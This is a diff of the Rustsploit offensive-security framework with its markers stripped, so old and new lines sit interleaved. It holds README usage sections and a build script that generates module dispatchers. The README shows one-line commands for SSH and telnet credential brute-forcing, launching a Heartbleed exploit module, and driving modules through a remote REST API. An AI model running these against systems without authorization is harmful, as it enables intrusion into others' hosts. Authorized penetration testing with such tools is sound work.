Execute multiple commands in a single line using the `&` separator:
|
||||
|
||||
```text
|
||||
rsf> u creds/generic/ssh_bruteforce & set target 10.10.10.10 & go
|
||||
rsf> f1 ssh & u creds/generic/ssh_bruteforce & set target 192.168.1.1
|
||||
```
|
||||
|
||||
This is useful for scripting quick workflows or batching common operations together.
|
||||
|
||||
---
|
||||
|
||||
## CLI Usage
|
||||
|
||||
Modules can be executed without the shell using the `--command`, `--module`, and `--target` flags:
|
||||
|
||||
```
|
||||
# Exploit
|
||||
cargo run -- --command exploit --module heartbleed --target 192.168.1.1
|
||||
|
||||
# Scanner
|
||||
cargo run -- --command scanner --module port_scanner --target 192.168.1.1
|
||||
|
||||
# Credentials
|
||||
cargo run -- --command creds --module ssh_bruteforce --target 192.168.1.1
|
||||
```
|
||||
|
||||
Any module exposed to the shell can be called here. Use the `modules` shell command or browse `src/modules/**` for canonical names.
|
||||
|
||||
---
|
||||
|
||||
## API Server Mode
|
||||
|
||||
Rustsploit includes a REST API server mode that allows remote control of the tool via HTTP endpoints. The API includes authentication, rate limiting, IP tracking, and security hardening features.
|
||||
|
||||
### Starting the API Server
|
||||
|
||||
```
|
||||
# Basic API server (defaults to 0.0.0.0:8080)
|
||||
cargo run -- --api --api-key your-secret-key-here
|
||||
|
||||
# With hardening enabled (auto-rotate API key on suspicious activity)
|
||||
cargo run -- --api --api-key your-secret-key-here --harden
|
||||
|
||||
# Custom interface and IP limit
|
||||
cargo run -- --api --api-key your-secret-key-here --harden --interface 127.0.0.1 --ip-limit 5
|
||||
|
||||
# Custom port
|
||||
cargo run -- --api --api-key your-secret-key-here --interface 0.0.0.0:9000
|
||||
```
|
||||
|
||||
### API Flags
|
||||
|
||||
| Flag | Description | Required |
|
||||
|------|-------------|----------|
|
||||
| `--api` | Enable API server mode | Yes |
|
||||
| `--api-key <key>` | API key for authentication | Yes (when using `--api`) |
|
||||
| `--harden` | Enable hardening mode (auto-rotate key on suspicious activity) | No |
|
||||
| `--interface <addr>` | Network interface/IP to bind to (default: `0.0.0.0`) | No |
|
||||
| `--ip-limit <num>` | Maximum unique IPs before auto-rotation (default: 10, requires `--harden`) | No |
|
||||
|
||||
### API Endpoints
|
||||
|
||||
All endpoints except `/health` require authentication via the `Authorization` header:
|
||||
|
||||
```
|
||||
# Bearer token format
|
||||
Authorization: Bearer your-api-key-here
|
||||
|
||||
# Or ApiKey format
|
||||
Authorization: ApiKey your-api-key-here
|
||||
```
|
||||
|
||||
#### Public Endpoints
|
||||
|
||||
- **`GET /health`** - Health check (no authentication required)
|
||||
```
|
||||
curl http://localhost:8080/health
|
||||
```
|
||||
|
||||
#### Protected Endpoints
|
||||
|
||||
- **`GET /api/modules`** - List all available modules
|
||||
```
|
||||
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/modules
|
||||
```
|
||||
|
||||
- **`POST /api/run`** - Execute a module on a target
|
||||
```
|
||||
curl -X POST -H "Authorization: Bearer your-api-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
|
||||
http://localhost:8080/api/run
|
||||
```
|
||||
|
||||
- **`GET /api/status`** - Get API server status and statistics
|
||||
```
|
||||
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/status
|
||||
```
|
||||
|
||||
- **`POST /api/rotate-key`** - Manually rotate the API key
|
||||
```
|
||||
curl -X POST -H "Authorization: Bearer your-api-key" \
|
||||
http://localhost:8080/api/rotate-key
|
||||
```
|
||||
|
||||
- **`GET /api/ips`** - Get all tracked IP addresses with details
|
||||
```
|
||||
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/ips
|
||||
```
|
||||
|
||||
- **`GET /api/auth-failures`** - Get authentication failure statistics
|
||||
```
|
||||
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/auth-failures
|
||||
```
|
||||
|
||||
### telnet config example
|
||||
```
|
||||
{
|
||||
"port": 23,
|
||||
"username_wordlist": "usernames.txt",
|
||||
"password_wordlist": "passwords.txt",
|
||||
"threads": 10,
|
||||
"delay_ms": 50,
|
||||
"connection_timeout": 3,
|
||||
"read_timeout": 1,
|
||||
"stop_on_success": true,
|
||||
"verbose": false,
|
||||
"full_combo": true,
|
||||
"raw_bruteforce": false,
|
||||
"raw_charset": "",
|
||||
"raw_min_length": 0,
|
||||
"raw_max_length": 0,
|
||||
"output_file": "results.txt",
|
||||
"append_mode": false,
|
||||
"pre_validate": true,
|
||||
"retry_on_error": true,
|
||||
"max_retries": 2,
|
||||
"login_prompts": ["login:", "username:"],
|
||||
"password_prompts": ["password:"],
|
||||
"success_indicators": ["$", "#", "welcome"],
|
||||
"failure_indicators": ["incorrect", "failed"]
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Security Features
|
||||
|
||||
#### Input Validation & Security
|
||||
- **Request Body Limiting:** Maximum 1MB request body to prevent DoS attacks
|
||||
- **API Key Validation:** Keys must be printable ASCII, max 256 characters
|
||||
- **Target Validation:** All targets are validated for length, control characters, and path traversal
|
||||
- **Module Path Sanitization:** Module names are validated against path traversal and injection attacks
|
||||
- **Resource Limits:** Automatic cleanup when tracked IPs or auth failures exceed 100,000 entries
|
||||
|
||||
#### Rate Limiting
|
||||
- IPs are automatically blocked for **30 seconds** after **3 failed authentication attempts**
|
||||
- Blocked IPs receive HTTP `429 Too Many Requests` responses
|
||||
- Failed attempts are logged to both terminal and log file
|
||||
- Counter resets automatically after the block period expires
|
||||
- Successful authentication resets the failure counter for that IP
|
||||
- Automatic cleanup of expired blocks and entries older than 1 hour
|
||||
|
||||
#### Hardening Mode
|
||||
When `--harden` is enabled:
|
||||
- Tracks unique IP addresses accessing the API
|
||||
- Automatically rotates the API key when the number of unique IPs exceeds the limit (default: 10)
|
||||
- Logs all rotation events to terminal and `rustsploit_api.log`
|
||||
- Clears IP tracking after key rotation
|
||||
- Automatic pruning when tracker exceeds 100,000 entries
|
||||
|
||||
#### Logging
|
||||
All API activity is logged to:
|
||||
- **Terminal:** Real-time console output with colored status messages
|
||||
- **Log File:** `rustsploit_api.log` in the current working directory
|
||||
|
||||
Log entries include:
|
||||
- API requests and responses
|
||||
- Authentication failures and rate limiting events
|
||||
- IP tracking and hardening actions
|
||||
- Key rotation events
|
||||
- Module execution results
|
||||
- Resource cleanup operations
|
||||
|
||||
### Example API Workflow
|
||||
|
||||
```
|
||||
# 1. Start the API server
|
||||
cargo run -- --api --api-key my-secret-key --harden --ip-limit 5
|
||||
|
||||
# 2. Check health
|
||||
curl http://localhost:8080/health
|
||||
|
||||
# 3. List available modules
|
||||
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/modules
|
||||
|
||||
# 4. Run a port scan
|
||||
curl -X POST -H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
|
||||
http://localhost:8080/api/run
|
||||
|
||||
# 5. Check status
|
||||
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/status
|
||||
|
||||
# 6. View tracked IPs
|
||||
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/ips
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Proxy Workflow
|
||||
|
||||
Rustsploit treats proxy lists as first-class citizens:
|
||||
|
||||
- Accepts HTTP, HTTPS, SOCKS4, SOCKS4a, SOCKS5, and SOCKS5h entries
|
||||
- Loads from user-supplied files, skipping invalid lines with reasons
|
||||
- Optional connectivity test prompts allow tuning:
|
||||
- Test URL (default `https://example.com`)
|
||||
- Timeout (seconds)
|
||||
- Max concurrent checks
|
||||
- Keeps only working proxies when validation is requested
|
||||
- Rotates at run time; if all proxies fail, reverts to direct host attempts automatically
|
||||
|
||||
Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) are managed transparently per attempt.
|
||||
|
||||
---
|
||||
|
||||
## How Modules Are Discovered
|
||||
|
||||
Rustsploit scans `src/modules/` recursively during build. Each module should expose:
|
||||
|
||||
```rust
|
||||
pub async fn run(target: &str) -> anyhow::Result<()>;
|
||||
```
|
||||
|
||||
Optional interactive entry points (`run_interactive`) can coexist. Module paths are referenced relative to `src/modules/`, for example:
|
||||
|
||||
- File: `src/modules/exploits/sample_exploit.rs`
|
||||
- Shell path: `exploits/sample_exploit`
|
||||
|
||||
See the [Developer Guide](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md) for scaffolding templates, async guidance, and tips on logging/persistence.
|
||||
The built-in proxy system has been removed in favor of system-level VPN solutions. We recommend **[Mullvad VPN](https://mullvad.net)** for its no-registration, audited no-logs policy, WireGuard support, and excellent Linux CLI. Simply connect your VPN before running the tool — all traffic routes through the tunnel.
|
||||
|
||||
---
|
||||
|
||||
## Contributing
|
||||
|
||||
Contributions are welcome! High-level suggestions:
|
||||
Contributions welcome! See the **[Contributing Guide](docs/Contributing.md)** for the full process. In short:
|
||||
|
||||
1. Fork + branch from `main`
|
||||
2. Add your module under the appropriate category
|
||||
3. Keep outputs concise, leverage `.yellow()/.green()` for status, and wrap heavy loops in async tasks when appropriate
|
||||
4. Document usage patterns in module comments
|
||||
5. Run `cargo fmt` and `cargo check` before opening a PR
|
||||
|
||||
Bug reports, feature requests, and module ideas are appreciated. Feel free to log issues or reach out with PoCs.
|
||||
3. Run `cargo fmt` and `cargo check` before opening a PR
|
||||
|
||||
---
|
||||
|
||||
@@ -507,8 +130,6 @@ Bug reports, feature requests, and module ideas are appreciated. Feel free to lo
|
||||
|
||||
- **Project Lead:** s-b-repo
|
||||
- **Language:** 100% Rust
|
||||
- **Wordlists:** Seclists + custom additions (`lists/` directory)
|
||||
- **Inspired by:** RouterSploit, Metasploit Framework, pwntools
|
||||
|
||||
> ⚠️ Rustsploit is intended for authorized security testing and research purposes only. Obtain explicit permission before targeting any system you do not own.
|
||||
|
||||
|
||||
@@ -1,31 +1,158 @@
|
||||
use std::collections::HashSet;
|
||||
use std::collections::{HashMap, HashSet};
|
||||
use std::env;
|
||||
use std::fs::File;
|
||||
use std::fs::{self, File};
|
||||
use std::io::{Read, Write};
|
||||
use std::path::Path;
|
||||
use regex::Regex;
|
||||
use walkdir::WalkDir;
|
||||
|
||||
/// Build script that generates module dispatchers for exploits, scanners, and creds.
|
||||
/// Build script that generates module dispatchers for all categories found
|
||||
/// under `src/modules/`. Categories are discovered dynamically — adding a new
|
||||
/// subdirectory (e.g. `src/modules/payloads/`) is all that's needed.
|
||||
fn main() {
|
||||
// Tell Cargo to rerun this build script if module directories change
|
||||
println!("cargo:rerun-if-changed=src/modules/exploits");
|
||||
println!("cargo:rerun-if-changed=src/modules/creds");
|
||||
println!("cargo:rerun-if-changed=src/modules/scanners");
|
||||
let modules_root = Path::new("src/modules");
|
||||
if !modules_root.exists() {
|
||||
eprintln!("cargo:warning=src/modules/ directory not found");
|
||||
return;
|
||||
}
|
||||
|
||||
// Generate dispatchers for each module category
|
||||
let categories = vec![
|
||||
("src/modules/exploits", "exploit_dispatch.rs", "crate::modules::exploits", "Exploit"),
|
||||
("src/modules/creds", "creds_dispatch.rs", "crate::modules::creds", "Cred"),
|
||||
("src/modules/scanners", "scanner_dispatch.rs", "crate::modules::scanners", "Scanner"),
|
||||
];
|
||||
// Check which features are enabled
|
||||
let features = Features::detect();
|
||||
|
||||
for (root, out_file, mod_prefix, category_name) in categories {
|
||||
if let Err(e) = generate_dispatch(root, out_file, mod_prefix, category_name) {
|
||||
eprintln!("❌ Error generating {} dispatcher: {}", category_name, e);
|
||||
std::process::exit(1);
|
||||
// Discover categories dynamically from subdirectories of src/modules/
|
||||
let mut categories: Vec<String> = Vec::new();
|
||||
let entries = match fs::read_dir(modules_root) {
|
||||
Ok(e) => e,
|
||||
Err(e) => {
|
||||
eprintln!("cargo:warning=Failed to read src/modules/: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
for entry in entries.flatten() {
|
||||
let path = entry.path();
|
||||
if path.is_dir() {
|
||||
if let Some(name) = path.file_name().and_then(|n| n.to_str()) {
|
||||
if !name.starts_with('.') {
|
||||
// Skip categories that are entirely disabled
|
||||
if features.should_skip_category(name) {
|
||||
println!("cargo:warning=Skipping category '{}' (feature disabled)", name);
|
||||
continue;
|
||||
}
|
||||
categories.push(name.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
categories.sort();
|
||||
|
||||
// Tell Cargo to rerun if any category directory changes
|
||||
for cat in &categories {
|
||||
println!("cargo:rerun-if-changed=src/modules/{}", cat);
|
||||
}
|
||||
|
||||
// Also rerun if features change
|
||||
println!("cargo:rerun-if-env-changed=CARGO_FEATURE_BLUETOOTH");
|
||||
|
||||
// Compile regexes once, reuse across all categories.
|
||||
let run_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[^)]*:\s*&str\s*\)")
|
||||
.expect("hardcoded regex must compile");
|
||||
let info_re = Regex::new(r"pub\s+fn\s+info\s*\(\s*\)\s*->\s*(?:crate::)?(?:module_info::)?ModuleInfo")
|
||||
.expect("hardcoded regex must compile");
|
||||
let check_re = Regex::new(r"pub\s+async\s+fn\s+check\s*\(\s*[^)]*:\s*&str\s*\)\s*->\s*(?:crate::)?(?:module_info::)?CheckResult")
|
||||
.expect("hardcoded regex must compile");
|
||||
|
||||
// Generate a dispatcher for each category
|
||||
let mut registry_entries: Vec<RegistryEntry> = Vec::new();
|
||||
|
||||
for cat in &categories {
|
||||
let root = format!("src/modules/{}", cat);
|
||||
let mod_prefix = format!("crate::modules::{}", cat);
|
||||
let out_file = format!("{}_dispatch.rs", dispatch_name(cat));
|
||||
let display_name = capitalize(cat);
|
||||
|
||||
match generate_dispatch(&root, &out_file, &mod_prefix, &display_name, &run_re, &info_re, &check_re, &features) {
|
||||
Ok(_module_count) => {
|
||||
registry_entries.push(RegistryEntry {
|
||||
category: cat.clone(),
|
||||
dispatch_name: dispatch_name(cat),
|
||||
});
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("cargo:warning=Error generating {} dispatcher: {}", cat, e);
|
||||
std::process::exit(1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Generate unified registry file
|
||||
if let Err(e) = generate_registry(®istry_entries) {
|
||||
eprintln!("cargo:warning=Error generating module registry: {}", e);
|
||||
std::process::exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
/// Feature detection and module filtering
|
||||
struct Features {
|
||||
bluetooth: bool,
|
||||
}
|
||||
|
||||
impl Features {
|
||||
fn detect() -> Self {
|
||||
Self {
|
||||
bluetooth: env::var("CARGO_FEATURE_BLUETOOTH").is_ok(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Check if a category should be entirely skipped
|
||||
fn should_skip_category(&self, category: &str) -> bool {
|
||||
match category {
|
||||
"bluetooth" => !self.bluetooth,
|
||||
_ => false,
|
||||
}
|
||||
}
|
||||
|
||||
/// Check if a module path should be skipped (for feature-gated submodules)
|
||||
fn should_skip_module(&self, module_path: &str) -> bool {
|
||||
// If bluetooth feature is disabled, skip any module under bluetooth/
|
||||
if !self.bluetooth && module_path.starts_with("bluetooth/") {
|
||||
return true;
|
||||
}
|
||||
|
||||
// Add more feature checks here as needed
|
||||
// Example: if !self.some_feature && module_path.starts_with("some/path/")
|
||||
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
struct RegistryEntry {
|
||||
category: String,
|
||||
dispatch_name: String,
|
||||
}
|
||||
|
||||
/// Map category directory name to dispatch module name.
|
||||
/// "exploits" → "exploit", "scanners" → "scanner", otherwise identity.
|
||||
fn dispatch_name(category: &str) -> String {
|
||||
match category {
|
||||
"exploits" => "exploit".to_string(),
|
||||
"scanners" => "scanner".to_string(),
|
||||
other => other.to_string(),
|
||||
}
|
||||
}
|
||||
|
||||
fn capitalize(s: &str) -> String {
|
||||
let mut c = s.chars();
|
||||
match c.next() {
|
||||
None => String::new(),
|
||||
Some(f) => f.to_uppercase().collect::<String>() + c.as_str(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Capabilities detected for each module file.
|
||||
struct ModuleCapabilities {
|
||||
has_info: bool,
|
||||
has_check: bool,
|
||||
}
|
||||
|
||||
fn generate_dispatch(
|
||||
@@ -33,37 +160,60 @@ fn generate_dispatch(
|
||||
out_file: &str,
|
||||
mod_prefix: &str,
|
||||
category_name: &str,
|
||||
) -> Result<(), Box<dyn std::error::Error>> {
|
||||
run_re: &Regex,
|
||||
info_re: &Regex,
|
||||
check_re: &Regex,
|
||||
features: &Features,
|
||||
) -> Result<usize, Box<dyn std::error::Error>> {
|
||||
let out_dir = env::var("OUT_DIR").map_err(|_| "OUT_DIR environment variable not set")?;
|
||||
let dest_path = Path::new(&out_dir).join(out_file);
|
||||
|
||||
|
||||
let root_path = Path::new(root);
|
||||
if !root_path.exists() {
|
||||
return Err(format!("Module directory '{}' does not exist", root).into());
|
||||
}
|
||||
|
||||
let mappings = find_modules(root_path)?;
|
||||
|
||||
let mappings = find_modules(root_path, run_re, info_re, check_re, features)?;
|
||||
|
||||
// Sort for deterministic output
|
||||
let mut sorted_mappings: Vec<_> = mappings.into_iter().collect();
|
||||
sorted_mappings.sort_by(|a, b| a.0.cmp(&b.0));
|
||||
|
||||
// Detect duplicate short names (different full paths with same filename)
|
||||
let mut short_names: HashMap<String, Vec<String>> = HashMap::new();
|
||||
for (key, _, _) in &sorted_mappings {
|
||||
let short = key.rsplit('/').next().unwrap_or(key).to_string();
|
||||
short_names.entry(short).or_default().push(key.clone());
|
||||
}
|
||||
for (short, full_paths) in &short_names {
|
||||
if full_paths.len() > 1 {
|
||||
println!(
|
||||
"cargo:warning=Duplicate short module name '{}' in {}: {:?}. \
|
||||
Only the first match will be reachable via short name.",
|
||||
short, root, full_paths
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
let mut file = File::create(&dest_path)?;
|
||||
|
||||
writeln!(file, "// Auto-generated by build.rs - DO NOT EDIT MANUALLY\n")?;
|
||||
|
||||
|
||||
// Generate AVAILABLE_MODULES constant for runtime discovery
|
||||
writeln!(file, "/// List of all available modules in this category.")?;
|
||||
writeln!(file, "pub const AVAILABLE_MODULES: &[&str] = &[")?;
|
||||
for (key, _) in &sorted_mappings {
|
||||
for (key, _, _) in &sorted_mappings {
|
||||
writeln!(file, " \"{}\",", key)?;
|
||||
}
|
||||
writeln!(file, "];\n")?;
|
||||
|
||||
// === Run dispatcher ===
|
||||
writeln!(file, "pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{")?;
|
||||
writeln!(file, " match module_name {{")?;
|
||||
|
||||
for (key, mod_path) in &sorted_mappings {
|
||||
let mut emitted_shorts: HashSet<String> = HashSet::new();
|
||||
|
||||
for (key, mod_path, _caps) in &sorted_mappings {
|
||||
let short_key = key.rsplit('/').next().unwrap_or(key);
|
||||
let mod_code_path = mod_path.replace("/", "::");
|
||||
|
||||
@@ -73,12 +223,18 @@ fn generate_dispatch(
|
||||
r#" "{k}" => {{ {p}::{m}::run(target).await? }},"#,
|
||||
k = key, m = mod_code_path, p = mod_prefix
|
||||
)?;
|
||||
} else {
|
||||
} else if emitted_shorts.insert(short_key.to_string()) {
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{short}" | "{full}" => {{ {p}::{m}::run(target).await? }},"#,
|
||||
short = short_key, full = key, m = mod_code_path, p = mod_prefix
|
||||
)?;
|
||||
} else {
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{full}" => {{ {p}::{m}::run(target).await? }},"#,
|
||||
full = key, m = mod_code_path, p = mod_prefix
|
||||
)?;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -87,16 +243,223 @@ fn generate_dispatch(
|
||||
r#" _ => anyhow::bail!("{} module '{{}}' not found.", module_name),"#,
|
||||
category_name
|
||||
)?;
|
||||
writeln!(file, " }}\n Ok(())\n}}")?;
|
||||
writeln!(file, " }}\n Ok(())\n}}\n")?;
|
||||
|
||||
// === Info dispatcher ===
|
||||
writeln!(file, "pub fn info_dispatch(module_name: &str) -> Option<crate::module_info::ModuleInfo> {{")?;
|
||||
writeln!(file, " match module_name {{")?;
|
||||
|
||||
let mut info_emitted_shorts: HashSet<String> = HashSet::new();
|
||||
let mut info_count = 0;
|
||||
|
||||
for (key, mod_path, caps) in &sorted_mappings {
|
||||
if !caps.has_info { continue; }
|
||||
info_count += 1;
|
||||
let short_key = key.rsplit('/').next().unwrap_or(key);
|
||||
let mod_code_path = mod_path.replace("/", "::");
|
||||
|
||||
if short_key == *key {
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{k}" => Some({p}::{m}::info()),"#,
|
||||
k = key, m = mod_code_path, p = mod_prefix
|
||||
)?;
|
||||
} else if info_emitted_shorts.insert(short_key.to_string()) {
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{short}" | "{full}" => Some({p}::{m}::info()),"#,
|
||||
short = short_key, full = key, m = mod_code_path, p = mod_prefix
|
||||
)?;
|
||||
} else {
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{full}" => Some({p}::{m}::info()),"#,
|
||||
full = key, m = mod_code_path, p = mod_prefix
|
||||
)?;
|
||||
}
|
||||
}
|
||||
|
||||
writeln!(file, " _ => None,")?;
|
||||
writeln!(file, " }}\n}}\n")?;
|
||||
|
||||
// === Check dispatcher ===
|
||||
// Use _target prefix if no check modules to avoid unused variable warning
|
||||
let check_has_any = sorted_mappings.iter().any(|(_, _, c)| c.has_check);
|
||||
let target_param = if check_has_any { "target" } else { "_target" };
|
||||
writeln!(file, "pub async fn check_dispatch(module_name: &str, {}: &str) -> Option<crate::module_info::CheckResult> {{", target_param)?;
|
||||
writeln!(file, " match module_name {{")?;
|
||||
|
||||
let mut check_emitted_shorts: HashSet<String> = HashSet::new();
|
||||
let mut check_count = 0;
|
||||
|
||||
for (key, mod_path, caps) in &sorted_mappings {
|
||||
if !caps.has_check { continue; }
|
||||
check_count += 1;
|
||||
let short_key = key.rsplit('/').next().unwrap_or(key);
|
||||
let mod_code_path = mod_path.replace("/", "::");
|
||||
|
||||
if short_key == *key {
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{k}" => Some({p}::{m}::check(target).await),"#,
|
||||
k = key, m = mod_code_path, p = mod_prefix
|
||||
)?;
|
||||
} else if check_emitted_shorts.insert(short_key.to_string()) {
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{short}" | "{full}" => Some({p}::{m}::check(target).await),"#,
|
||||
short = short_key, full = key, m = mod_code_path, p = mod_prefix
|
||||
)?;
|
||||
} else {
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{full}" => Some({p}::{m}::check(target).await),"#,
|
||||
full = key, m = mod_code_path, p = mod_prefix
|
||||
)?;
|
||||
}
|
||||
}
|
||||
|
||||
writeln!(file, " _ => None,")?;
|
||||
writeln!(file, " }}\n}}\n")?;
|
||||
|
||||
// === Check availability (no target needed) ===
|
||||
writeln!(file, "/// Check if a module has a check() function without needing a target.")?;
|
||||
writeln!(file, "pub fn check_available(module_name: &str) -> bool {{")?;
|
||||
writeln!(file, " match module_name {{")?;
|
||||
|
||||
let mut check_avail_shorts: HashSet<String> = HashSet::new();
|
||||
|
||||
for (key, _, caps) in &sorted_mappings {
|
||||
if !caps.has_check { continue; }
|
||||
let short_key = key.rsplit('/').next().unwrap_or(key);
|
||||
|
||||
if short_key == *key {
|
||||
writeln!(file, r#" "{k}" => true,"#, k = key)?;
|
||||
} else if check_avail_shorts.insert(short_key.to_string()) {
|
||||
writeln!(file, r#" "{short}" | "{full}" => true,"#, short = short_key, full = key)?;
|
||||
} else {
|
||||
writeln!(file, r#" "{full}" => true,"#, full = key)?;
|
||||
}
|
||||
}
|
||||
|
||||
writeln!(file, " _ => false,")?;
|
||||
writeln!(file, " }}\n}}")?;
|
||||
|
||||
let count = sorted_mappings.len();
|
||||
if count == 0 {
|
||||
println!("cargo:warning=No modules found in '{}' — generated empty dispatcher", root);
|
||||
}
|
||||
|
||||
println!("cargo:warning=Generated {} with {} modules ({} info, {} check)", out_file, count, info_count, check_count);
|
||||
Ok(count)
|
||||
}
|
||||
|
||||
/// Generate a unified registry file that lists all categories and their modules.
|
||||
/// This is included by `src/commands/mod.rs` to avoid hard-coding categories.
|
||||
fn generate_registry(entries: &[RegistryEntry]) -> Result<(), Box<dyn std::error::Error>> {
|
||||
let out_dir = env::var("OUT_DIR")?;
|
||||
let dest = Path::new(&out_dir).join("module_registry.rs");
|
||||
let mut f = File::create(&dest)?;
|
||||
|
||||
writeln!(f, "// Auto-generated by build.rs - DO NOT EDIT MANUALLY\n")?;
|
||||
|
||||
// Category list
|
||||
writeln!(f, "/// All module categories discovered under src/modules/.")?;
|
||||
writeln!(f, "pub const CATEGORIES: &[&str] = &[")?;
|
||||
for e in entries {
|
||||
writeln!(f, " \"{}\",", e.category)?;
|
||||
}
|
||||
writeln!(f, "];\n")?;
|
||||
|
||||
// Unified discover function
|
||||
writeln!(f, "/// Aggregate all available modules across all categories.")?;
|
||||
writeln!(f, "pub fn all_modules() -> Vec<String> {{")?;
|
||||
writeln!(f, " let mut modules = Vec::new();")?;
|
||||
for e in entries {
|
||||
writeln!(
|
||||
f,
|
||||
" modules.extend(crate::commands::{}::AVAILABLE_MODULES.iter().map(|m| format!(\"{{}}/{{}}\", \"{}\", m)));",
|
||||
e.dispatch_name, e.category
|
||||
)?;
|
||||
}
|
||||
writeln!(f, " modules")?;
|
||||
writeln!(f, "}}\n")?;
|
||||
|
||||
// Unified dispatch function
|
||||
writeln!(f, "/// Dispatch a module run by category and module name.")?;
|
||||
writeln!(f, "pub async fn dispatch_by_category(category: &str, module_name: &str, target: &str) -> anyhow::Result<()> {{")?;
|
||||
writeln!(f, " match category {{")?;
|
||||
for e in entries {
|
||||
writeln!(
|
||||
f,
|
||||
" \"{}\" => crate::commands::{}::dispatch(module_name, target).await,",
|
||||
e.category, e.dispatch_name
|
||||
)?;
|
||||
}
|
||||
writeln!(f, " _ => anyhow::bail!(\"Unknown module category '{{}}'\", category),")?;
|
||||
writeln!(f, " }}")?;
|
||||
writeln!(f, "}}\n")?;
|
||||
|
||||
// Unified info dispatch
|
||||
writeln!(f, "/// Get module info by category and module name.")?;
|
||||
writeln!(f, "pub fn info_by_category(category: &str, module_name: &str) -> Option<crate::module_info::ModuleInfo> {{")?;
|
||||
writeln!(f, " match category {{")?;
|
||||
for e in entries {
|
||||
writeln!(
|
||||
f,
|
||||
" \"{}\" => crate::commands::{}::info_dispatch(module_name),",
|
||||
e.category, e.dispatch_name
|
||||
)?;
|
||||
}
|
||||
writeln!(f, " _ => None,")?;
|
||||
writeln!(f, " }}")?;
|
||||
writeln!(f, "}}\n")?;
|
||||
|
||||
// Unified check dispatch
|
||||
writeln!(f, "/// Run vulnerability check by category and module name.")?;
|
||||
writeln!(f, "pub async fn check_by_category(category: &str, module_name: &str, target: &str) -> Option<crate::module_info::CheckResult> {{")?;
|
||||
writeln!(f, " match category {{")?;
|
||||
for e in entries {
|
||||
writeln!(
|
||||
f,
|
||||
" \"{}\" => crate::commands::{}::check_dispatch(module_name, target).await,",
|
||||
e.category, e.dispatch_name
|
||||
)?;
|
||||
}
|
||||
writeln!(f, " _ => None,")?;
|
||||
writeln!(f, " }}")?;
|
||||
writeln!(f, "}}\n")?;
|
||||
|
||||
// Check availability (no target needed)
|
||||
writeln!(f, "/// Check if a module has a check() function by category and module name.")?;
|
||||
writeln!(f, "pub fn check_available_by_category(category: &str, module_name: &str) -> bool {{")?;
|
||||
writeln!(f, " match category {{")?;
|
||||
for e in entries {
|
||||
writeln!(
|
||||
f,
|
||||
" \"{}\" => crate::commands::{}::check_available(module_name),",
|
||||
e.category, e.dispatch_name
|
||||
)?;
|
||||
}
|
||||
writeln!(f, " _ => false,")?;
|
||||
writeln!(f, " }}")?;
|
||||
writeln!(f, "}}")?;
|
||||
|
||||
println!("✅ Generated {} with {} modules", out_file, sorted_mappings.len());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Finds all valid modules recursively using WalkDir
|
||||
fn find_modules(root: &Path) -> Result<HashSet<(String, String)>, Box<dyn std::error::Error>> {
|
||||
type ModuleMapping = (String, String, ModuleCapabilities);
|
||||
|
||||
/// Finds all valid modules recursively using WalkDir.
|
||||
/// Returns (module_key, module_path, capabilities) tuples.
|
||||
fn find_modules(
|
||||
root: &Path,
|
||||
run_re: &Regex,
|
||||
info_re: &Regex,
|
||||
check_re: &Regex,
|
||||
features: &Features,
|
||||
) -> Result<HashSet<ModuleMapping>, Box<dyn std::error::Error>> {
|
||||
let mut mappings = HashSet::new();
|
||||
let sig_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[^)]*:\s*&str\s*\)")?;
|
||||
|
||||
for entry in WalkDir::new(root).follow_links(false).into_iter().filter_map(|e| e.ok()) {
|
||||
let path = entry.path();
|
||||
@@ -104,17 +467,24 @@ fn find_modules(root: &Path) -> Result<HashSet<(String, String)>, Box<dyn std::e
|
||||
let file_stem = path.file_stem().and_then(|s| s.to_str()).unwrap_or("");
|
||||
if file_stem == "mod" || file_stem == "lib" { continue; }
|
||||
|
||||
// Calculate module path relative to root
|
||||
// e.g. path = src/modules/exploits/linux/foo.rs, root = src/modules/exploits
|
||||
// relative = linux/foo.rs
|
||||
if let Ok(relative) = path.strip_prefix(root) {
|
||||
let rel_str = relative.with_extension("").to_string_lossy().replace("\\", "/");
|
||||
|
||||
// Read content to check signature
|
||||
// Skip modules that are feature-gated out
|
||||
if features.should_skip_module(&rel_str) {
|
||||
println!("cargo:warning=Skipping module '{}' (feature disabled)", rel_str);
|
||||
continue;
|
||||
}
|
||||
|
||||
let mut content = String::new();
|
||||
if File::open(path).and_then(|mut f| f.read_to_string(&mut content)).is_ok() {
|
